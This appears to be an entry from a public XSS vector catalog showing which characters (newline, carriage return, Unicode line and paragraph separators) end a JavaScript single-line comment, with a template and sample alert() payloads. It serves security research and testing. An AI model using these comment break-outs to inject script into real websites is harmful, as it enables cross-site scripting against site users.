Characters that can break out of a single line comment

This vector shows what characters can be used to break out of a single line comment and execute Javascript

Created by0x999-x

Created Apr 10, 2024

Updated May 11, 2025

Detecting browser...

CategoryXSS Execution

VisibilityPublic

TypeJS

CharsetUTF-8

Template used:

// $[chr]log($[i])

Sample payloads

// 
alert(10)

// 0x0Dalert(13)

//  alert(8232)

//  alert(8233)